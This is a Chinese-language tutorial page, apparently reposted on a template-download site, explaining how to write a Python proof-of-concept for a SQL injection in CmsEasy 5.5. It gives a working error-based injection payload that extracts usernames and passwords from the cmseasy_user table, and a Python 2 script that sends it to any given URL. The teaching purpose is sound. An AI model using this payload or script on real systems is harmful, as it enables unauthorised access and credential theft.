最新公告
  • 欢迎您光临起源地模板网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入钻石VIP
  • python poc是什么

    正文概述    2020-09-04   294

    如今,PoC 的编写在我们安全研究团队是每个人必备的技能之一。那么,PoC是什么呢?我们应该如何优雅的来进行编写?

    python poc是什么

    0x00 我们需要掌握的几个的概念

    PoC(全称:Proof of Concept)中文意思是“观点证明”。在安全行业中PoC则是一段验证漏洞的程序,使我们能够确认这个漏洞是真实存在的。

    Python,是一种面向对象、解释型计算机程序设计语言。常见的一些库我们需要了解,比如:urllib,urllib2,re,request,socket等,本文我们要使用Python这门语言,Python的基础知识我们不做讲解。

    SQL Injection,通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    0x01 PoC编写流程

    场景还原:某网站托管公司,旗下托管了数万个站点,负责这些站点的安全,但是突然某一天,某知名CMS程序被爆出存在一个高危的SQL注入,某网管排查后发现旗下托管网站中存在几百个站点使用该CMS程序,那么一个一个去排查是否存在该漏洞是非常繁琐的,所以,我们需要一个PoC来验证下。

    ·根据该漏洞详情的描述,假设已知出现漏洞的CMS版本号为4.1,可以去其官网或者GitHub上去下载相对应的版本。

    ·下载之后,模拟其服务器真实环境,本地进行搭建。根据漏洞描述,进行复现,已SQL注入为例,重复提交不同的参数,观察不同的返回结果,同时注意如果该漏洞不存在出现的结果。

    ·根据漏洞复现的实际情况,进行PoC的编写。

    ·PoC写完之后需要进行相关的测试,已确保该PoC的编写没有问题,比如测试靶机程序,以及不存在漏洞的程序。

    0x02 SQL Injection poc编写

    已知CmsEasy 5.5 UTF-8程序存在SQL注入,乌云漏洞中的漏洞细节比较详细

    (由于wooyun已经暂停访问,故不上链接了)。

    ·首先,我们需要下载其相关源码,进行本地搭建。

    阅读漏洞细节,我们得知其url与payload如下:

    URL:http://xxx.xxx/celive/live/header.php Payload:xajax=LiveMessage&xajaxargs[0]=name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20

    ·漏洞复现:我们根据其漏洞描述,进行复现,该注入点需要发起一个Post请求,我们使用Firefox浏览器配合hackbar插件进行复现,填入url与payload,发送,获取其账户密码。

    漏洞效果如下:

    python poc是什么这样,我们的漏洞就已经复现成功了。接下来,我们来写Poc。

    #!/usr/bin/env python
    # coding:utf-8
    import urllib2
    import urllib
    import re
    import sys
    def verify(url):
    target = '%s/celive/live/header.php' % url
    #需要发送的数据
    post_data = {
    'xajax': 'LiveMessage',
    'xajaxargs[0]': "name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- " }
    try:
    #发送请求
    req = urllib2.Request(target, data=urllib.urlencode(post_data))
    response = urllib2.urlopen(req)
    #处理请求,进行判断
    if response:
    data = response.read()
    if "XPATH syntax error" in data:
    print "%s is vulnerable" % target
    else:
    print "%s is not vulnerable" % target
    
    except Exception, e:
    print "Something happend..."
    print e
    def main():
    args = sys.argv
    url = ""
    if len(args) == 2:
    url = args[1]
    verify(url)
    else:
    print "Usage: python %s url" % (args[0])
    if __name__ == '__main__':
    main()

    起源地下载网 » python poc是什么

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    模板不会安装或需要功能定制以及二次开发?
    请QQ联系我们

    发表评论

    还没有评论,快来抢沙发吧!

    如需帝国cms功能定制以及二次开发请联系我们

    联系作者

    请选择支付方式

    ×
    迅虎支付宝
    迅虎微信
    支付宝当面付
    余额支付
    ×
    微信扫码支付 0 元